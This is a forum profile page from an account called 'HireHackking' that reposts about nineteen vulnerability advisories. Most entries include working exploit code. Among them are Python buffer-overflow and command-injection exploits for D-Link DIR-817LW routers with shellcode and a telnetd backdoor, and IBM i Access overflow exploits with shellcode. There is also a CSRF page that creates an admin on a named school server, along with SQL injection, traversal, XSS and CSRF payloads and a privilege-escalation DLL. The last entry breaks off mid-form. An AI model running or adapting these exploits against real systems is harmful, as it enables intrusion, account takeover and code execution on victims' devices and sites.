Jump to content

HireHackking

Members
  • Joined

  • Last visited

Everything posted by HireHackking

  1. ## Advisory Information Title: DIR-817LW Buffer overflows and Command injection in authentication and HNAP functionalities Vendors contacted: William Brown <william.brown@dlink.com>, Patrick Cline patrick.cline@dlink.com(Dlink) CVE: None Note: All these security issues have been discussed with the vendor and vendor indicated that they have fixed issues as per the email communication. The vendor had also released the information on their security advisory pages http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10060, http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10061 However, the vendor has taken now the security advisory pages down and hence the information needs to be publicly accessible so that users using these devices can update the router firmwares.The author (Samuel Huntley) releasing this finding is not responsible for anyone using this information for malicious purposes. ## Product Description DIR-817LW -- Wireless AC750 Dual Band Cloud Router. Mainly used by home and small offices. ## Vulnerabilities Summary Have come across 3 security issues in DIR-815 firmware which allows an attacker to exploit command injection and buffer overflows in authentication adn HNAP functionality. All of them can be exploited by an unauthentictaed attacker. The attacker can be on wireless LAN or WAN if mgmt interface is exposed to attack directly or using XSRF if not exposed. ## Details Buffer overflow in auth ---------------------------------------------------------------------------------------------------------------------- import socket import struct #Reboot shellcode in there buf = "GET /dws/api/Login?id=" buf+="A"*2064+"AAAA" #s0 # uclibc system address buf+="\x2A\xAF\xD0\x84" #s1 -- points to iret buf+="\x2A\xB1\x4D\xF0" #s2 -- points to sleep buf+="\x2A\xB1\x4D\xF0" buf+="\x2A\xB1\x4D\xF0" buf+="\x2A\xB1\x4D\xF0" buf+="\x2A\xB0\xDE\x54" # s6 filled up with pointer to rop4 which is ultimate mission buf+="\x2A\xB1\x4D\xF0" buf+="\x2A\xAC\xAD\x70" # Retn address ROP gadget 1 that loads into $a0 buf+="C"*36 # buf+="\x2A\xAC\xD5\xB4" # points to rop3 #buf+="1"*17 # exit payload buf+="E"*16 buf+="\x3c\x06\x43\x21\x34\xc6\xfe\xdc\x3c\x05\x28\x12\x34\xa5\x19\x69\x3c\x04\xfe\xe1\x34\x84\xde\xad\x24\x02\x0f\xf8\x01\x01\x01\x0c" #reboot big endian buf+="Y"*120 # ROP gadget 2 that loads into $t9 buf+="&password=A HTTP/1.1\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nAccept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nConnection:keep-alive\r\nContent-Length:5000\r\n\r\nid="+"A"*5000+"\r\n\r\n" print "[+] sending buffer size", len(buf) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("192.168.1.8", 80)) s.send(buf) ---------------------------------------------------------------------------------------------------------------------- Buffer overflow in HNAP ---------------------------------------------------------------------------------------------------------------------- import socket import struct # Working buf = "POST /HNAP1/ HTTP/1.0\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nContent-Length: 1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX" + ";sh;"+"B"*158 buf+="\x2A\xAF\xD0\x84" #s1 -- points to iret buf+="\x2A\xB1\x4D\xF0" #s2 -- points to sleep buf+="AAAA"+"AAAA"+"AAAA" #s3,s4,s5 buf+="\x2A\xB0\xDE\x54" # s6 filled up with pointer to rop4 which is ultimate mission buf+="AAAA" buf+="\x2A\xAC\xAD\x70" # Retn address ROP gadget 1 that loads into $a0 buf+="C"*36 buf+="\x2A\xAC\xD5\xB4" # points to rop3 buf+="C"*16 buf+="\x3c\x06\x43\x21\x34\xc6\xfe\xdc\x3c\x05\x28\x12\x34\xa5\x19\x69\x3c\x04\xfe\xe1\x34\x84\xde\xad\x24\x02\x0f\xf8\x01\x01\x01\x0c" #reboot big endian shell buf+="B"*28+"\r\n" + "1\r\n\r\n" print "[+] sending buffer size", len(buf) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("192.168.1.8", 80)) s.send(buf) ---------------------------------------------------------------------------------------------------------------------- Command injection ---------------------------------------------------------------------------------------------------------------------- import socket import struct # CSRF or any other trickery, but probably only works when connected to network I suppose and internal buf = "POST /HNAP1/ HTTP/1.0\r\nHOST: 192.168.1.8\r\nUser-Agent: test\r\nContent-Length: 1\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings/XX" + ';echo "<?phpinfo?>" > passwd1.php;telnetd -p 9090;test\r\n' + "1\r\n\r\n" print "[+] sending buffer size", len(buf) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("1.2.3.4", 80)) s.send(buf) ---------------------------------------------------------------------------------------------------------------------- ## Report Timeline * April 26, 2015: Vulnerability found by Samuel Huntley and reported to William Brown and Patrick Cline. * July 17, 2015: Vulnerability was fixed by Dlink as per the email sent by the vendor * Nov 13, 2015: A public advisory is sent to security mailing lists. ## Credit This vulnerability was found by Samuel Huntley
  2. Source: https://code.google.com/p/google-security-research/issues/detail?id=521 Fuzzing the ZIP file format found multiple memory corruption issues, some of which are obviously exploitable for remote code execution as NT AUTHORITY\SYSTEM on any system with Kaspersky Antivirus. This testcase should fault by jumping to an unmapped address (aac.fa4): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=cccccccc ebx=00000000 ecx=01bc2974 edx=73a10002 esi=02e0a598 edi=5b2266bb eip=cccccccc esp=05dde330 ebp=05dde354 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 cccccccc ?? ??? # where did that come from? 0:036> kvn 2 # ChildEBP RetAddr Args to Child 00 05dde32c 739fd847 02e0a598 05dde370 00000000 0xcccccccc 01 05dde354 739fe438 01bc2974 002266bb 05dde370 prcore!PragueUnload+0x2687 0:036> ub 739fd847 L9 prcore!PragueUnload+0x2673: 739fd833 8b4d08 mov ecx,dword ptr [ebp+8] 739fd836 8b7104 mov esi,dword ptr [ecx+4] 739fd839 8975ec mov dword ptr [ebp-14h],esi 739fd83c 85f6 test esi,esi 739fd83e 740a je prcore!PragueUnload+0x268a (739fd84a) 739fd840 8b16 mov edx,dword ptr [esi] 739fd842 8b02 mov eax,dword ptr [edx] 739fd844 56 push esi 739fd845 ffd0 call eax # that pointer is in edx 0:088> dd edx 739a0002 cccccccc cccccccc cccccccc 8b55cccc 739a0012 77e95dec ccffffff cccccccc 8b55cccc 739a0022 0c4d8bec 8b04418b 42390855 501a7504 739a0032 0a8b018b d3e85150 83fffff9 c0850cc4 739a0042 01b80775 5d000000 5dc033c3 8b55ccc3 739a0052 0c4d8bec 8b04418b 42390855 501a7504 739a0062 0a8b018b 63e85150 83fffff9 c0850cc4 739a0072 01b80775 5d000000 5dc033c3 6c83ccc3 # So what is that? 0:088> !address edx Usage: Image Base Address: 73971000 End Address: 739aa000 Region Size: 00039000 State: 00001000 MEM_COMMIT Protect: 00000020 PAGE_EXECUTE_READ Type: 01000000 MEM_IMAGE Allocation Base: 73970000 Allocation Protect: 00000080 PAGE_EXECUTE_WRITECOPY Image Path: C:\Program Files (x86)\Kaspersky Lab\Kaspersky Internet Security 15.0.2\prcore.dll Module Name: prcore Loaded Image Name: C:\Program Files (x86)\Kaspersky Lab\Kaspersky Internet Security 15.0.2\prcore.dll Mapped Image Name: 0:088> !chkimg prcore 0 errors : prcore # Hmm, so why is esi pointing there? 0:088> !address esi Mapping file section regions... Mapping module regions... Mapping PEB regions... Mapping TEB and stack regions... Mapping heap regions... Mapping page heap regions... Mapping other regions... Mapping stack trace database regions... Mapping activation context regions... Usage: Heap Base Address: 02a00000 End Address: 02c33000 Region Size: 00233000 State: 00001000 MEM_COMMIT Protect: 00000004 PAGE_READWRITE Type: 00020000 MEM_PRIVATE Allocation Base: 02a00000 Allocation Protect: 00000004 PAGE_READWRITE More info: heap owning the address: !heap 0x4a0000 More info: heap segment More info: heap entry containing the address: !heap -x 0x2bf4760 0:088> !heap -x 0x2bf4760 Entry User Heap Segment Size PrevSize Unused Flags ----------------------------------------------------------------------------- 02bf4758 02bf4760 004a0000 02b00ac8 60 - 0 LFH;free # So looks like an exploitable use after free vulnerability. Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38736.zip
  3. source: https://www.securityfocus.com/bid/61906/info Twilight CMS is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input. Remote attackers can use specially crafted requests with directory-traversal sequences ('../') to retrieve arbitrary files in the context of the application. Exploiting this issue may allow an attacker to obtain sensitive information that could aid in further attacks. Twilight CMS 0.4.2 is vulnerable; other versions may also be affected. nc [www.example.com] 80 GET /..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/windows/win.ini HTTP/1.1 nc [www.example.com] 80 GET demosite/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/TwilightCMS/Sites/company_site/Data/user list.dat HTTP/1.1
  4. source: https://www.securityfocus.com/bid/61974/info SearchBlox is prone to multiple information-disclosure vulnerabilities. Attackers can exploit these issues to obtain sensitive information that may aid in launching further attacks. SearchBlox 7.4 Build 1 is vulnerable; other versions may also be affected. http://www.example.com/searchblox/servlet/CollectionListServlet?action=getList&orderBy=colName&direction=asc
  5. source: https://www.securityfocus.com/bid/61964/info Plone is prone to a session-hijacking vulnerability. An attacker can exploit this issue to hijack user sessions and gain unauthorized access to the affected application. Note: This issue was previously discussed in the BID 61544 (Plone Multiple Remote Security Vulnerabilities), but has been moved to its own record to better document it. https://www.example.com/acl_users/credentials_cookie_auth/require_login?next=+https%3A//www.csnc.ch
  6. source: https://www.securityfocus.com/bid/62010/info cm3 Acora CMS is prone to an information-disclosure vulnerability. Successful exploits of this issue lead to disclosure of sensitive information which may aid in launching further attacks. http://www.example.com/AcoraCMS/Admin/top.aspx <input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwUKLTQ4NjIxMDUxOQ9kFgJmD2QWAgIDD2QWAgIBD2QWCmYPFgIeBFRleHQFJERpZ2l0YWxTZWMgTmV0d29ya3MgV2Vic2l0ZWQCAQ8WAh8ABQpFbnRlcnByaXNlZAICDw8WAh8ABQt2NS40LjUvNGEtY2RkAgMPFgIfAAUgQW5vbnltb3VzIChQdWJsaWMgSW50ZXJuZXQgVXNlcilkAgQPDxYCHgdWaXNpYmxlaGRkZIL9u8OSlqqnBHGwtssOBV5lciAoCg" /></div>
  7. source: https://www.securityfocus.com/bid/62024/info Nmap is prone to an arbitrary file-write vulnerability. An attacker can exploit this issue to write arbitrary files with the permissions of the user running the nmap client. This will allow the attacker to fully compromise the affected machine. Nmap 6.25 is vulnerable; other versions may also be affected. nmap --script domino-enum-passwords -p 80 <evil_host> --script-args domino-enum-passwords.username='patrik karlsson',domino-enum-passwords.password=secret,domino-enum-passwords.idpath='/tmp'
  8. source: https://www.securityfocus.com/bid/62036/info Aloaha PDF Suite is prone to a stack-based buffer-overflow vulnerability. Attackers can exploit this issue to execute arbitrary code in the context of the user running the affected application. Failed exploit attempts will likely cause denial-of-service conditions. https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/62036.zip
  9. source: https://www.securityfocus.com/bid/62063/info Xibo is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input. Attacker-supplied HTML and script code could be executed in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user; other attacks are also possible. Xibo 1.4.2 is vulnerable; other versions may also be affected. POST: /index.php?p=layout&q=add&ajax=true Data: layoutid=0&layout=Gimppy%3Cimg+src%3D42+onerror%3D'alert(%22InfoSec42%22)'%3E&description=%3Ciframe+src%3D'http%3A%2F%2Fsecurityevaluators.com'+width%3D1000+height%3D1000%3C%2Fiframe%3E&tags=&templateid=0
  10. source: https://www.securityfocus.com/bid/62061/info appRain CMF is prone to multiple cross-site request-forgery vulnerabilities. Exploiting these issues may allow a remote attacker to perform certain unauthorized actions in the context of the affected application. Other attacks are also possible. appRain CMF 3.0.2 is vulnerable; other versions may also be affected. <img src="http://www.example.com//appRain-v-3.0.2/common/delete_row/Admin/[ID]" width="1" height="1"> <html> <body onload="submitForm()"> <form name="myForm" id="myForm" action="http://www.example.com/appRain-v-3.0.2/admin/manage/add" method="post"> <input type="hidden" name="data[Admin][f_name]" value="abc"> <input type="hidden" name="data[Admin][l_name]" value="defghi"> <input type="hidden" name="data[Admin][email]" value="y.xvz@gmail.com"> <input type="hidden" name="data[Admin][username]" value="abc"> <input type="hidden" name="data[Admin][password]" value="abc123"> <input type="hidden" name="data[Admin][status]" value="Active"> <input type="hidden" name="data[Admin][description]" value=""> </form> <script type='text/javascript'>document.myForm.submit();</script> </html>
  11. source: https://www.securityfocus.com/bid/62064/info Xibo is prone to a cross-site request-forgery vulnerability. Exploiting this issue may allow a remote attacker to perform certain unauthorized actions and gain access to the affected application. Other attacks are also possible. Xibo 1.4.2 is vulnerable; other versions may also be affected. <html> <head> <title> Xibo - Digital Signage 1.4.2 CSRF Exploit.</title> <!-- # CSRF Discovered by: Jacob Holcomb - Security Analyst @ Independent Security Evaluators # Exploited by: Jacob Holcomb - Security Analyst @ Independnet Security Evaluators # CVE: CSRF - CVE-2013-4889, XSS - CVE-2013-4888 # http://infosec42.blogspot.com # http://securityevaluators.com --> </head> <body> <h1>Please wait... </h1> <script type="text/javascript"> //Add super user function RF1(){ document.write('<form name="addAdmin" target ="_blank" action="http://xibo.leland.k12.mi.us/index.php?p=user&q=AddUser&ajax=true" method="post">'+ '<input type="hidden" name="userid" value="0">'+ '<input type="hidden" name="username" value="Gimppy">'+ '<input type="hidden" name="password" value="ISE">'+ '<input type="hidden" name="email" value="Gimppy@infosec42.com">'+ '<input type="hidden" name="usertypeid" value="1">'+ '<input type="hidden" name="groupid" value="1">'+ '</form>'); } //Set XSS Payloads function RF2(){ document.write('<form name="addXSS" target="_blank" action="http://xibo.leland.k12.mi.us/index.php?p=layout&q=add&ajax=true" method="post">'+ '<input type="hidden" name="layoutid" value="0">'+ '<input type="hidden" name="layout" value="Gimppy<img src=42 onerror='alert(42)'>">'+ '<input type="hidden" name="description" value="<iframe src='http://securityevaluators.com' width=100 height=1000</iframe>">'+ '<input type="hidden" name="tags" value="">'+ '<input type="hidden" name="templateid" value="0">'+ '</form>'); } function createPage(){ RF1(); RF2(); } function _addAdmin(){ document.addAdmin.submit(); } function _addXSS(){ document.addXSS.submit(); } //Called Functions createPage() for (var i = 0; i < 2; i++){ if(i == 0){ window.setTimeout(_addAdmin, 0500); } else if(i == 1){ window.setTimeout(_addXSS, 1000); } else{ continue; } } </script> </body> </html>
  12. source: https://www.securityfocus.com/bid/62112/info pwStore is prone to a remote denial-of-service vulnerability. An attacker can exploit this issue to crash the application, denying service to legitimate users. pwStore 2010.8.30.0 is vulnerable; other versions may also be affected. #!/usr/bin/env python from sulley import * import sys import time s_initialize("HTTP") s_static("GET / HTTP/1.1\r\n") s_static("Host") s_static(":\x0d\x0a") s_static(" ") s_string("192.168.1.39") s_static("\r\n") s_static("\r\n") print "Instantiating session" sess = sessions.session(session_filename="https_pwstore.session", proto="ssl", sleep_time=0.50) print "Instantiating target" target = sessions.target("192.168.1.39", 443) #target.procmon = pedrpc.client("127.0.0.1", 26002) #target.netmon = pedrpc.client("127.0.0.1", 26001) target.procmon_options = { "proc_name" : "savant.exe", "stop_commands" : ['wmic process where (name="savant.exe") delete"'], "start_commands" : ['C:\\savant\\savant.exe'], } print "Adding target" sess.add_target(target) print "Building graph" sess.connect(s_get("HTTP")) print "Starting fuzzing now" sess.fuzz()
  13. source: https://www.securityfocus.com/bid/62146/info dBlog CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. http://www.example.com/dblog/storico.asp?m=[Sql Injection]
  14. source: https://www.securityfocus.com/bid/62186/info Flo CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. http://www.example.com/blog/index.asp?archivem='
  15. [+] Credits: John Page aka hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/IBMI-CLIENT-ACCESS-BUFFER-OVERFLOW.txt Vendor: ============== www.ibm.com Product: ==================================================== IBM i Access for Windows Release 7.1 of IBM i Access for Windows is affected Vulnerability Type: ======================= Stack Buffer Overflow Arbitrary Code Exec CVE Reference: ============== CVE-2015-2023 Vulnerability Details: ===================== IBM i Access for Windows is vulnerable to a buffer overflow. A local attacker could overflow a buffer and execute arbitrary code on the Windows PC. client Access has ability to receive remote commands via "Cwbrxd.exe" service Ref: http://www-01.ibm.com/support/docview.wss?uid=nas8N1019253 "Incoming remote command was designed for running non-interactive commands and programs on a PC", therefore a remote attacker could execute arbitrary code on the system. Remediation/Fixes The issue can be fixed by obtaining and applying the Service Pack SI57907. The buffer overflow vulnerability can be remediated by applying Service Pack SI57907. The Service Pack is available at: http://www-03.ibm.com/systems/power/software/i/access/windows_sp.html Workarounds and Mitigations None known CVSS Base Score: 4.4 CVSS Temporal Score: See http://xforce.iss.net/xforce/xfdb/104044 for the current score CVSS Environmental Score*: Undefined CVSS Vector: (AV:L/AC:M/Au:N/C:P/I:P/A:P) Exploit code(s): ============================================================================== Three python POC scriptz follow that exploitz various component of IBM i Access. 1) Exploits "ftdwprt.exe", direct EIP overwrite import struct,os,subprocess pgm="C:\\Program Files (x86)\\IBM\\Client Access\\AFPViewr\\ftdwprt.exe " #shellcode to pop calc.exe Windows 7 SP1 sc=("\x31\xF6\x56\x64\x8B\x76\x30\x8B\x76\x0C\x8B\x76\x1C\x8B" "\x6E\x08\x8B\x36\x8B\x5D\x3C\x8B\x5C\x1D\x78\x01\xEB\x8B" "\x4B\x18\x8B\x7B\x20\x01\xEF\x8B\x7C\x8F\xFC\x01\xEF\x31" "\xC0\x99\x32\x17\x66\xC1\xCA\x01\xAE\x75\xF7\x66\x81\xFA" "\x10\xF5\xE0\xE2\x75\xCF\x8B\x53\x24\x01\xEA\x0F\xB7\x14" "\x4A\x8B\x7B\x1C\x01\xEF\x03\x2C\x97\x68\x2E\x65\x78\x65" "\x68\x63\x61\x6C\x63\x54\x87\x04\x24\x50\xFF\xD5\xCC") # use jmp or call esp in FTDBT.dll under AFPviewer for Client Access # we find ---> 0x638091df : jmp esp | {PAGE_EXECUTE_READ} [FTDBDT.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v2.05.04.00 (C:\Program Files (x86)\IBM\Client Access\AFPViewr\FTDBDT.dll) rp=struct.pack('<L', 0x638091FB) payload="A" * 1043+rp+sc+"\x90"*20 subprocess.Popen([pgm, payload], shell=False) #<----1043 bytes outside of debugger use 1044 in debugger. ================================== 2) Exploits "ftdwinvw.exe", direct EIP overwrite import struct,os,subprocess pgm="C:\\Program Files (x86)\\IBM\\Client Access\\AFPViewr\\ftdwinvw.exe " #shellcode to pop calc.exe Windows 7 SP1 sc=("\x31\xF6\x56\x64\x8B\x76\x30\x8B\x76\x0C\x8B\x76\x1C\x8B" "\x6E\x08\x8B\x36\x8B\x5D\x3C\x8B\x5C\x1D\x78\x01\xEB\x8B" "\x4B\x18\x8B\x7B\x20\x01\xEF\x8B\x7C\x8F\xFC\x01\xEF\x31" "\xC0\x99\x32\x17\x66\xC1\xCA\x01\xAE\x75\xF7\x66\x81\xFA" "\x10\xF5\xE0\xE2\x75\xCF\x8B\x53\x24\x01\xEA\x0F\xB7\x14" "\x4A\x8B\x7B\x1C\x01\xEF\x03\x2C\x97\x68\x2E\x65\x78\x65" "\x68\x63\x61\x6C\x63\x54\x87\x04\x24\x50\xFF\xD5\xCC") #payload="A"*1044+"RRRR"+"\x90"*10+"B"*100 #Test EIP rp=struct.pack('<L', 0x638091fb) #CALL ESP (0x638091fb) FTDBDT.dll payload="A"*1044+rp+"\x90"*10+sc #KABOOM!!! subprocess.Popen([pgm, payload], shell=False) registers dump... EAX 0000040B ECX 0044AAB8 ASCII "AAAAAAAAA... EDX 7F17E09F EBX 00000000 ESP 0018E5B8 EBP 41414141 ESI 005A9FB9 ASCII "AAAAAAAAA... EDI 0044E94C ftdwinvw.0044E94C EIP 52525252 <----------BOOM! C 0 ES 002B 32bit 0(FFFFFFFF) P 0 CS 0023 32bit 0(FFFFFFFF) A 0 SS 002B 32bit 0(FFFFFFFF) Z 0 DS 002B 32bit 0(FFFFFFFF) S 0 FS 0053 32bit 7EFDD000(FFF) T 0 GS 002B 32bit 0(FFFFFFFF) D 0 O 0 LastErr ERROR_SUCCESS (00000000) EFL 00010202 (NO,NB,NE,A,NS,PO,GE,G) ST0 empty g ST1 empty g ST2 empty g ST3 empty g ST4 empty g ST5 empty g ST6 empty g ST7 empty g 3 2 1 0 E S P U O Z D I FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT) FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1 3) Exploits "PCSWS.exe", structured exeception handler (SEH) overwrite pgm="C:\\Program Files (x86)\\IBM\\Client Access\\Emulator\\pcsws.exe " #ctrl EIP at 1340 bytes, ESP points to RETURN to ntdll.770BB499 so we will jump 8 bytes to our SC #as ESP points to our SC 8 bytes after! jmp="\xEB\x06"+"\x90"*2 #payload="A"*1336+"BBBB" #Test #shellcode to pop calc.exe Windows 7 SP1 sc=("\x31\xF6\x56\x64\x8B\x76\x30\x8B\x76\x0C\x8B\x76\x1C\x8B" "\x6E\x08\x8B\x36\x8B\x5D\x3C\x8B\x5C\x1D\x78\x01\xEB\x8B" "\x4B\x18\x8B\x7B\x20\x01\xEF\x8B\x7C\x8F\xFC\x01\xEF\x31" "\xC0\x99\x32\x17\x66\xC1\xCA\x01\xAE\x75\xF7\x66\x81\xFA" "\x10\xF5\xE0\xE2\x75\xCF\x8B\x53\x24\x01\xEA\x0F\xB7\x14" "\x4A\x8B\x7B\x1C\x01\xEF\x03\x2C\x97\x68\x2E\x65\x78\x65" "\x68\x63\x61\x6C\x63\x54\x87\x04\x24\x50\xFF\xD5\xCC") rp=struct.pack('<L', 0x678c1e49) #pop pop ret 0x67952486 PCSW32X.dll payload="A"*1332+jmp+rp+sc+"\x90"*10 #KABOOOOOOOOOOOOOOOOOOM! subprocess.Popen([pgm, payload], shell=False) register dump... 0018FF6C 41414141 AAAA 0018FF70 41414141 AAAA 0018FF74 41414141 AAAA 0018FF78 41414141 AAAA Pointer to next SEH record 0018FF7C 42424242 BBBB SE handler 0018FF80 004C0400 .L. pcsws.004C0400 Disclosure Timeline: ==================================== Vendor Notification: May 21, 2015 November 18, 2015 : Public Disclosure Exploitation Technique: ======================= Local / Remote Severity Level: ================ High Description: ================================================================================= Request Method(s): [+] local or remote commands via "Cwbrxd.exe" service Vulnerable Product: [+] IBM i Access for Windows Release 7.1 Affected Area(s): [+] OS [+] Disclaimer Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere. by hyp3rlinx
  16. * Exploit Title: WordPress Users Ultra Plugin [Unrestricted File Upload] * Discovery Date: 2015/10/27 * Public Disclosure Date: 2015/12/01 * Exploit Author: Panagiotis Vagenas * Contact: https://twitter.com/panVagenas * Vendor Homepage: http://usersultra.com * Software Link: https://wordpress.org/plugins/users-ultra/ * Version: 1.5.50 * Tested on: WordPress 4.3.1 * Category: webapps Description ================================================================================ WordPress plugin `Users Ultra Plugin` suffers for an unrestricted file upload vulnerability. Any user (registered or not) can exploit a misbehavior of the plugin in order to upload csv files to the infected website. Although the plugin checks file extension using an extensions white-list (in this case only csv files are white-listed), no other checks (mime, size etc) are taking place. This alone can expose the infected website to a variety of attacks, please see [OWASP Unrestricted File Upload](https://www.owasp.org/index.php/Unrestricted_File_Upload) to get an idea. Details ================================================================================ The plugin workflow that could allow a malicious user to exploit this misbehavior is as follows: 1. Upon initialization of the plugin (anytime if it is activated) an instance of `XooUserUser` class is created 2. In the constructor of `XooUserUser` class a check for POST variable `uultra-form-cvs-form-conf` is taking place file `wp-content/plugins/users-ultra/xooclasses/xoo.userultra.user.php` lines 19-23 ```php if (isset($_POST['uultra-form-cvs-form-conf'])) { /* Let's Update the Profile */ $this->process_cvs($_FILES); } ``` 3. Assuming the POST variable `uultra-form-cvs-form-conf` has been set in the request, the method `XooUserUser::process_cvs()` is called. 4. `XooUserUser::process_cvs()` method process every file in $_FILES super-global by only making a check if the file has a `csv` extension In addition we mark the following points: 1. A malicious user can create and activate user accounts by exploiting this vulnerability if `$_POST["uultra-activate-account"]` is set to `active` 2. A welcome email is send if `$_POST["uultra-send-welcome-email"]` is set to 1 3. The csv files uploaded to the server are stored in a directory (`wp-content/usersultramedia/import` by default) accessible by anyone 4. Any additional columns present in the csv file are stored in `usermeta` 5. No sanitization for values in csv file can easily lead to a Persistent XSS attack, so an attacker can compromise the whole site PoC ================================================================================ The following Python3 script forms a csv file and uploads it to a site ```python3 #!/usr/bin/python3 import requests import csv import tempfile url = 'http://example.com/' postData = { 'uultra-form-cvs-form-conf': 1, 'uultra-send-welcome-email': 1, 'uultra-activate-account': 'pending' } csvFileHeader = ['user name', 'email', 'display name', 'registration date', 'first name', 'last name', 'age', 'country'] csvFileRow = ['userName', 'email@example.com', 'User Name', '1/1/1', 'User', 'Name', '100', 'IO'] csvFile = tempfile.NamedTemporaryFile(mode='a+t', suffix='.csv') wr = csv.writer(csvFile, quoting=csv.QUOTE_ALL, delimiter=',') wr.writerow(csvFileHeader) wr.writerow(csvFileRow) csvFile.seek(0) files = {'file.csv': csvFile} r = requests.post(url, data=postData, files=files) exit(0) ``` Timeline ================================================================================ 2015/10/29 - Vendor notified via email 2015/11/11 - Vendor notified via contact form in his website 2015/11/13 - Vendor notified via support forums at wordpress.org 2015/11/14 - Vendor responded and received report through email 2015/11/15 - Vendor responded 2015/11/15 - Patch released Solution ================================================================================ Update to version 1.5.59
  17. // source: https://www.securityfocus.com/bid/62261/info Watchguard Server Center is prone to a local privilege-escalation vulnerability. Local attackers can exploit this issue to gain SYSTEM privileges. Successful exploits will result in the complete compromise of affected computers. Watchguard Server Center 11.7.4 and 11.7.3 are vulnerable; other versions may also be affected. #include <windows.h> #define DLL_EXPORT __declspec(dllexport) #ifdef __cplusplus extern "C" { #endif void DLL_EXPORT wgpr_library_get() { WinExec("calc",0); } #ifdef __cplusplus } #endif
  18. source: https://www.securityfocus.com/bid/62313/info eTransfer Lite is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input. Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials and control how the site is rendered to the user; other attacks are also possible. eTransfer Lite 1.0 is vulnerable; other versions may also be affected. <bq>The following files are hosted live from the iPad's Docs folder.</bq><p><b>Images:<br><br></b> <a href="http://www.example.com/%3C[PERSISTENT INJECTED SCRIPT CODE!]%3Es2.png"><[PERSISTENT INJECTED SCRIPT CODE!]">s2.png</a> ( 51.8 Kb, 2013-08-25 02:09:25 +0000)<br /> <a href="a2b642e7de.jpg">a2b642e7de.jpg</a> ( 238.0 Kb, 2013-08-25 02:08:13 +0000)<br /> </p><br><br><br><hr><br><br><br><center><form action="" method="post" enctype="multipart/form-data" name="form1" id="form1"><label>Upload file to iPad <input type="file" name="file" id="file" /></label><label> <input type="submit" name="button" id="button" value="Submit" /></label></form></center><br><br><br>Powered By <a href=http://www.example.com</a></body></html></iframe></a></p></body></html>
  19. source: https://www.securityfocus.com/bid/62269/info The Event Easy Calendar plugin for WordPress is prone to multiple cross-site request-forgery vulnerabilities. Exploiting these issues may allow a remote attacker to perform certain unauthorized actions in the context of the affected application. Other attacks are also possible. Event Easy Calendar 1.0.0 is vulnerable; other versions may also be affected. f of Concept ======================== Add Customer <form method="post" action="http://www.example.com/wp-admin/admin-ajax.php";> <input type="hidden" name="data-table_length" value="10"> <input type="hidden" name="radioservice" value="1"> <input type="hidden" name="hdServiceTypeDDL" value=""> <input type="hidden" name="uxTxtControl1" value="new () user com"> <input type="hidden" name="uxTxtControl2" value="<script>alert(1)</script>"> <input type="hidden" name="hiddeninputname" value=""> <input type="hidden" name="hiddeninputname" value=""> <input type="hidden" name="uxHdnTotalCost" value="0.00"> <input type="hidden" name="param" value="addNewCustomer"> <input type="hidden" name="action" value="bookingsLibrary"> <input type="submit" value="Add Customer"> </form> Update Customer <form method="post" action="http://www.example.com/wp-admin/admin-ajax.php";> <input type="hidden" name="data-table_length" value="10"> <input type="hidden" name="radioservice" value="2"> <input type="hidden" name="hdServiceTypeDDL" value=""> <input type="hidden" name="uxTxtControl1" value="new () user com"> <input type="hidden" name="uxTxtControl2" value="NewUser"> <input type="hidden" name="hiddeninputname" value=""> <input type="hidden" name="hiddeninputname" value=""> <input type="hidden" name="uxHdnTotalCost" value="100.00"> <input type="hidden" name="customerId" value="3"> <input type="hidden" name="uxCustomerEmail" value="new () user com"> <input type="hidden" name="param" value="upDateCustomer"> <input type="hidden" name="action" value="bookingsLibrary"> <input type="submit" value="Update Customer"> </form> New Booking <form method="post" action="http://www.example.com/wp-admin/admin-ajax.php";> <input type="hidden" name="altField" value="2013-08-15"> <input type="hidden" name="serviceId" value="2"> <input type="hidden" name="customerId" value="5"> <input type="hidden" name="uxCouponCode" value=""> <input type="hidden" name="uxNotes" value=""> <input type="hidden" name="bookingTime" value="900"> <input type="hidden" name="param" value="frontEndMutipleDates"> <input type="hidden" name="action" value="bookingsLibrary"> <input type="submit" value="New Booking"> </form> Add Service <form method="post" action="http://www.example.com/wp-admin/admin-ajax.php";> <input type="hidden" name="uxServiceColor" value="#00ff00"> <input type="text" name="uxServiceName" value="CSRF 